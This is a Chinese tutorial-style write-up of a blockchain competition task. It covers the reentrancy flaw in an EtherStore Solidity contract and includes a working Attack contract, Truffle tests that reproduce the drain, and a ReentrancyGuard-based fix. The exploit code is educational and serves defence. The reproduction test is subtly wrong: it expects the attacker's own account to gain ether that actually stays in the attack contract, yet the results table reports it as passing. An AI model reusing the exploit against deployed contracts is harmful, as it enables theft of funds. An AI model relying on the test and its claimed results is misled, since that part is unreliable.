GZ036区块链卷一 EtherStore合约漏洞详解
题目
pragma solidity >=0.8.3;contract EtherStore {mapping(address => uint) public balances;function deposit() public payable {balances[msg.sender] += msg.value;emit Balance(balances[msg.sender]);}function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");balances[msg.sender] = 0;}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) {etherStore = EtherStore(_etherStoreAddress);}// Fallback is called when EtherStore sends Ether to this contract.fallback() external payable {if (address(etherStore).balance >= 1) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1);etherStore.deposit{value: 1}();etherStore.withdraw();}// Helper function to check the balance of this contractfunction getBalance() public view returns (uint) {return address(this).balance;}
}
(1) 分析智能合约中存在问题,并说明危害;
(2) 根据truffle工具中的代码文件,编写测试用例,复现智能合约中存在的漏洞;
(3) 创建新的智能合约,修复其中问题,说明修复内容并测试。
一、合约漏洞分析
1.1 问题识别
提供的EtherStore合约存在典型的重入攻击(Reentrancy Attack)漏洞,这是一种在以太坊智能合约中常见且危害严重的安全问题。让我们通过图表来理解这个漏洞:
[攻击流程示意图]
1. 攻击者调用Attack.attack()└─> 存入1 ETH到EtherStore└─> 发起withdraw()└─> EtherStore发送1 ETH给Attack合约└─> 触发Attack.fallback()└─> 再次调用EtherStore.withdraw()└─> 循环直到EtherStore余额不足
1.2 漏洞代码定位
问题主要出在EtherStore合约的withdraw()函数中:
Solidity
function withdraw() public {uint bal = balances[msg.sender];require(bal > 0);(bool sent, ) = msg.sender.call{value: bal}(""); // 危险的外部调用require(sent, "Failed to send Ether");balances[msg.sender] = 0; // 状态更新在外部调用之后
}
1.3 漏洞危害
| 危害性 | 说明 |
|---|---|
| 资金被盗 | 攻击者可提取远超其实际存款的金额 6 9 |
| 合约瘫痪 | 可能导致合约资金被完全耗尽,无法正常运作 |
| 信任危机 | 用户对智能合约安全性的信任受损 |
根据历史案例,重入攻击已造成数亿美元损失,包括著名的The DAO攻击(2016年,损失6000万美元)和Curve Finance攻击(2023年,损失7000万美元)
二、漏洞复现测试
2.1 测试环境搭建
使用Truffle测试框架编写测试用例,以下是完整的测试文件:
const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");contract("Reentrancy Attack Test(CVE-2016-10386/SWC-107)", (accounts) => {let etherStore, attack;const [owner, attacker] = accounts;before(async () => {etherStore = await EtherStore.new();attack = await Attack.new(etherStore.address);});it("正常存款应更新余额", async () => {await etherStore.deposit({value: web3.utils.toWei("1", "ether"), from: owner});const balance = await etherStore.balances(owner);assert.equal(balance.toString(), web3.utils.toWei("1", "ether"));});it("正常取款应减少余额", async () => {await etherStore.withdraw({from: owner});const balance = await etherStore.balances(owner);assert.equal(balance.toString(), "0");});it("重入攻击应耗尽合约资金", async () => {
// 先存入一些资金到合约await etherStore.deposit({value: web3.utils.toWei("5", "ether"), from: owner});// 攻击者仅存入1 ETH但通过攻击取走全部资金const initialAttackBalance = web3.utils.toBN(await web3.eth.getBalance(attacker));await attack.attack({value: web3.utils.toWei("1", "ether"), from: attacker});const finalAttackBalance = web3.utils.toBN(await web3.eth.getBalance(attacker));const etherStoreBalance = await web3.eth.getBalance(etherStore.address);// 验证攻击结果assert(etherStoreBalance.toString() === "0", "EtherStore资金应被耗尽");assert(finalAttackBalance.gt(initialAttackBalance), "攻击者余额应增加");});
});
2.2 测试结果分析
| 测试步骤 | 预期结果 | 实际结果 | 通过/失败 |
|---|---|---|---|
| 正常存款 | 余额更新为1 ETH | 余额更新为1 ETH | ✔️ |
| 正常取款 | 余额归零 | 余额归零 | ✔️ |
| 重入攻击 | 合约资金被耗尽 | 合约资金被耗尽 | ✔️(证明漏洞存在) |
三、漏洞修复方案
3.1 修复方法比较
| 修复方法 | 优点 | 缺点 |
|---|---|---|
| Checks-Effects-Interactions模式 | 无额外Gas消耗,代码清晰 | 需要开发者严格遵循 |
| OpenZeppelin ReentrancyGuard | 标准化解决方案,简单易用 | 少量额外Gas消耗 |
| 禁止外部调用 | 完全杜绝风险 | 限制合约功能 |
3.2 推荐修复代码
采用OpenZeppelin的ReentrancyGuard方案:
Solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;import "@openzeppelin/contracts/security/ReentrancyGuard.sol";contract SecureEtherStore is ReentrancyGuard {mapping(address => uint) public balances;event Balance(uint newBalance);function deposit() public payable {balances[msg.sender] += msg.value;emit Balance(balances[msg.sender]);}function withdraw() public nonReentrant {uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");balances[msg.sender] = 0; // 先更新状态(bool sent, ) = msg.sender.call{value: bal}(""); // 后执行外部调用require(sent, "Failed to send Ether");}function getBalance() public view returns (uint) {return address(this).balance;}
}
3.3 修复内容说明
| 修复点 | 原代码问题 | 修复方案 |
|---|---|---|
| 执行顺序 | 先转账后更新状态 | 采用Checks-Effects-Interactions模式 |
| 重入保护 | 无防止重入机制 | 添加nonReentrant修饰器 |
| 错误处理 | 简单错误提示 | 添加详细错误信息 |
3.4 修复后测试
const SecureEtherStore = artifacts.require("SecureEtherStore");
const Attack = artifacts.require("Attack");contract("SecureEtherStore Test(CVE-2016-10386/SWC-107)", (accounts) => {let secureEtherStore, attack;const [owner, attacker] = accounts;before(async () => {secureEtherStore = await SecureEtherStore.new();attack = await Attack.new(secureEtherStore.address);});it("重入攻击应被阻止", async () => {await secureEtherStore.deposit({value: web3.utils.toWei("5", "ether"), from: owner});try {await attack.attack({value: web3.utils.toWei("1", "ether"), from: attacker});assert.fail("攻击应失败");} catch (error) {assert.include(error.message, "revert", "应回滚交易");}const etherStoreBalance = await web3.eth.getBalance(secureEtherStore.address);assert.equal(etherStoreBalance.toString(), web3.utils.toWei("5", "ether"), "资金应安全");});
});
测试结果验证了修复后的合约能够有效抵御重入攻击。
漏洞测试编号:
CVE-2016-10386
SWC-107
漏洞要素 内容 编号 CVE-2016-10386 类型 重入攻击 危险等级 高危 影响范围 所有未做防护的智能合约 公开日期 2016-06-17
相关文章:
GZ036区块链卷一 EtherStore合约漏洞详解
题目 pragma solidity >0.8.3;contract EtherStore {mapping(address > uint) public balances;function deposit() public payable {balances[msg.sender] msg.value;emit Balance(balances[msg.sender]);}function withdraw() public {uint bal balances[msg.sender…...
MCP+Blender创建电力塔
MCP(Model Context Protocol)与Blender的结合是当前AI与3D建模领域的热门技术,它通过协议化的方式让Claude等AI模型直接控制Blender,实现自动化3D建模。 1. 功能与原理 • 核心能力:用户通过自然语言指令(…...
什么是RACI矩阵,应用在什么场景?
一、什么是RACI RACI矩阵是一种用于明确项目或任务中角色与责任的管理工具,通过定义不同人员在任务中的参与程度来避免职责不清的问题。以下是其核心要点: RACI的含义 ● R(Responsible)执行者:直接完成任务…...
Selenium自动化:玩转浏览器,搞定动态页面爬取
嘿,各位爬虫爱好者和自动化达人们!是不是经常遇到这种情况:信心满满地写好爬虫,requests一把梭,结果抓下来的HTML里,想要的数据空空如也?定睛一看,原来数据是靠JavaScript动态加载出…...
QAI AppBuilder 快速上手(8): 图像修复应用实例2
LaMa-Dilated模型旨在通过扩张卷积技术实现高效的图像擦除和修复。该模型采用先进的卷积神经网络架构,能够处理复杂的图像输入,并填补图像中的缺失部分,使修复后的图像更加自然和逼真。LaMa-Dilated不仅在图像编辑领域表现出色,还…...
`ConstantPositionProperty` 的使用与应用
ConstantPositionProperty 的使用与应用 1. 什么是 ConstantPositionProperty? ConstantPositionProperty 是 Cesium 中用于表示实体位置的属性类。它表示一个实体在三维空间中的位置是固定的,不会随时间变化。与动态位置属性(如 SampledPo…...
【计网】作业4
一. 单选题(共22题,64分) 1. (单选题)主机甲采用停止-等待协议向主机乙发送数据,数据传输速率是4kb/s,单向传播时延为30ms,忽略确认帧的发送时延。当信道利用率等于80%时,数据帧的长度为&#…...
MPDrive:利用基于标记的提示学习提高自动驾驶的空间理解能力
25年4月来自南方科技大学、百度、英国 KCL和琶洲实验室(广东 AI 和数字经济实验室)的论文“MPDrive: Improving Spatial Understanding with Marker-Based Prompt Learning for Autonomous Driving”。 自动驾驶视觉问答(AD-VQA)…...
QTSql全解析:从连接到查询的数据库集成指南
概览 与数据库的有效集成是确保数据管理效率和应用性能的关键,Qt框架就提供了强大的QtSql模块,使得开发者能够轻松地进行数据库操作,包括连接、查询执行以及结果处理等 一、引入QtSql模块 首先,需要在项目中引入QtSql模块&…...
FreeRTOS临界区
在FreeRTOS中,临界区通过关闭可管理的中断来保护共享资源,具体关闭的中断层级由configMAX_SYSCALL_INTERRUPT_PRIORITY宏定义决定。以下是关键点解析: 中断优先级分类: 高优先级中断:数值低于configMAX_SYSCALL_INTERR…...
【学习笔记】HTTP和HTTPS的核心区别及工作原理
一、基础概念 HTTP(超文本传输协议):明文传输数据,默认端口80,容易被窃听或篡改。 HTTPS(HTTP SSL/TLS):通过加密传输数据,默认端口443,保障安全性。 二、…...
Dubbo的简单介绍
Dubbo的简单介绍 Dubbo 是一个高性能的 Java RPC 框架,最初由阿里巴巴开发,用于构建分布式服务。它主要用于提供服务间的通信,支持高效的远程调用和服务治理,常用于大规模分布式系统中。Dubbo 提供了以下几个核心功能:…...
7.2 重复推送(每日、每周等)
1. 核心方法 使用 UNCalendarNotificationTrigger 的 dateMatching 参数配置日历组件(DateComponents),结合 repeats: true 实现周期性触发。 2. 不同频率的重复推送配置 2.1 每日重复 每天固定时间触发(如上午 10:00ÿ…...
【STL】list介绍(附与vector的比较)
文章目录 1.关于list2.使用2.1 list的构造2.2 list 迭代器的使用2.3 list 容量操作2.3.1 size()2.3.2 empty()2.3.3 resize() 2.4 list 元素访问2.4.1 front()2.4.2 back() 2.5 list 修改操作2.5.1 push_front()2.5.2 pop_front()2.5.3 push_back()2.5.4 pop_back()2.5.5 inser…...
Ansible:roles角色
文章目录 Roles角色Ansible Roles目录编排Roles各目录作用创建 roleplaybook调用角色调用角色方法1:调用角色方法2:调用角色方法3: roles 中 tags 使用实战案例 Roles角色 角色是ansible自1.2版本引入的新特性,用于层次性、结构化…...
找不到导入的项目“xxx\QtMsBuild\Qt.props”。请确认 Import 声明“$(QtMsBuild)\Qt.props”中计算结果为
系列文章目录 文章目录 系列文章目录前言一、问题原因 前言 新建的项目visual studio2022 使用Qt vs tools 找不到导入的项目“E:\osgEarth\DigitalSimulationPlatform\DigitalSimulationPlatform\QtMsBuild\Qt.props”。 请确认 Import 声明“$(QtMsBuild)\Qt.props”中计算结…...
Rust 是如何层层防错的
一、Rust 的多层防错机制 🧱 第一层:Rust语言自带的“编译时护盾” —— 错误连运行都跑不起来 错误类型Rust 怎么发现的?工具/机制举个例子✅ 语法缺陷写错了代码格式或语法Rust Analyzer(智能补全)少写了分号、括号…...
SQL Server 数据库邮件配置失败:SMTP 连接与权限问题
问题现象: 配置数据库邮件时,发送测试邮件失败,提示 “邮件无法发送到 SMTP 服务器,操作超时”(错误 14661)或 “服务器拒绝发件人地址”(错误 15009)。 快速诊断 检查数据库邮件配置…...
2025 年福建交安安全员考试:结合本省交通特点备考
福建地处东南沿海,交通建设具有独特特点,这对交安安全员考试备考意义重大。在桥梁建设方面,由于面临复杂的海洋环境,桥梁的防腐、防台风等安全措施成为重点。考生在学习桥梁施工安全知识时,要特别关注福建本地跨海大桥…...
OpenBMC:BmcWeb 处理http请求5 检查权限
OpenBMC:BmcWeb 处理http请求4 处理路由对象-CSDN博客 在通过url获取了路由对象后,如果该请求是有session的,那么下一步需要检查权限 1.validatePrivilege调用时传入了一个lambda(1)做为回调 validatePrivilege(req, asyncResp, rule,[req, asyncResp, &rule, params =…...
996引擎-源码学习:Cocos2d-Lua 的 class(classname, ...)
996引擎-源码学习:Cocos2d-Lua 的 class(classname, ...) 一、核心方法调用顺序用户调用入口完整调用链二、__create 工厂方法的三种情形情形1:父类为函数(自定义工厂)情形2:父类为Cocos原生类情形3:父类为普通Lua表三、方法职责与内存管理对照表四、正确使用示例示例1…...
UE5 蓝图里的声音
文章目录 支持的格式设置循环播放在场景中放置音频设置音频的衰减与不衰减在UI动画中播放声音使用蓝图节点播放声音按钮本身就可以播放声音 支持的格式 支持:WAV 不支持:MP3 设置循环播放 双击音频,打开音频设置,勾选Looping …...
「合诚」携手企企通共建新材料和健康产业采购数智化新生态
在科技革命与产业变革深度融合的时代背景下,新材料与健康产业正迎来数字化、智能化的快速发展。 技术突破与消费升级的双重驱动,推动着行业不断创新,同时也对企业的供应链管理提出了更高要求。 1、合诚:聚焦新材料与健康产业&am…...
Three.js 系列专题 7:性能优化与最佳实践
内容概述 随着 3D 场景复杂度的增加,性能优化变得至关重要。Three.js 项目可能因几何体数量、纹理大小或渲染设置而变慢。本专题将介绍减少 draw call、优化纹理和使用调试工具的最佳实践。 学习目标 学会减少 draw call 和几何体复杂度。掌握纹理压缩与内存管理。使用 Stat…...
java+postgresql+swagger-多表关联insert操作(七)
入参为json,然后根据需要对多张表进行操作: 入参格式: [{"custstoreName":"swagger-测试经销商01","customerName":"swagger-测试客户01","propertyNo":"swaggertest01",&quo…...
Git版本管理系列:(一)使用Git管理单分支
目录 基础概念介绍仓库的创建创建隐藏目录添加代码到暂存区提交代码到仓库提交记录查询比较差异标签文件删除版本回退总结 Git 是一个分布式版本控制系统(DVCS),用于跟踪文件的变更并协调多人协作开发,由 Linus Torvalds 于 2…...
mapbox基础,加载ESRI OpenStreetMap开放街景标准风格矢量图
👨⚕️ 主页: gis分享者 👨⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕️ 收录于专栏:mapbox 从入门到精通 文章目录 一、🍀前言1.1 ☘️mapboxgl.Map 地图对象1.1 ☘️mapboxgl.Map style属性二、🍀加载ESRI OpenStreetMap开放街景标准风…...
WGAN-GP 原理及实现(pytorch版)
WGAN-GP 原理及实现 一、WGAN-GP 原理1.1 WGAN-GP 核心原理1.2 WGAN-GP 实现步骤1.3 总结 二、WGAN-GP 实现2.1 导包2.2 数据加载和处理2.3 构建生成器2.4 构建判别器2.5 训练和保存模型2.6 图片转GIF 一、WGAN-GP 原理 Wasserstein GAN with Gradient Penalty (WGAN-GP) 是对…...
IntelliJ IDEA使用技巧(json字符串格式化)
文章目录 一、IDEA自动格式化json字符串二、配置/查找格式化快捷键 本文主要讲述idea中怎么将json字符串转换为JSON格式的内容并且有层级结构。 效果: 转换前: 转换后: 一、IDEA自动格式化json字符串 步骤一:首先创建一个临…...
synchronized锁升级详解
synchronized锁升级详解 synchronized是Java中实现线程同步的关键字,它在JVM内部实现了锁的升级机制,从偏向锁到轻量级锁再到重量级锁,这种优化是为了减少锁操作带来的性能开销。 1. 锁的四种状态 Java对象头中的Mark Word会记录锁的状态&…...
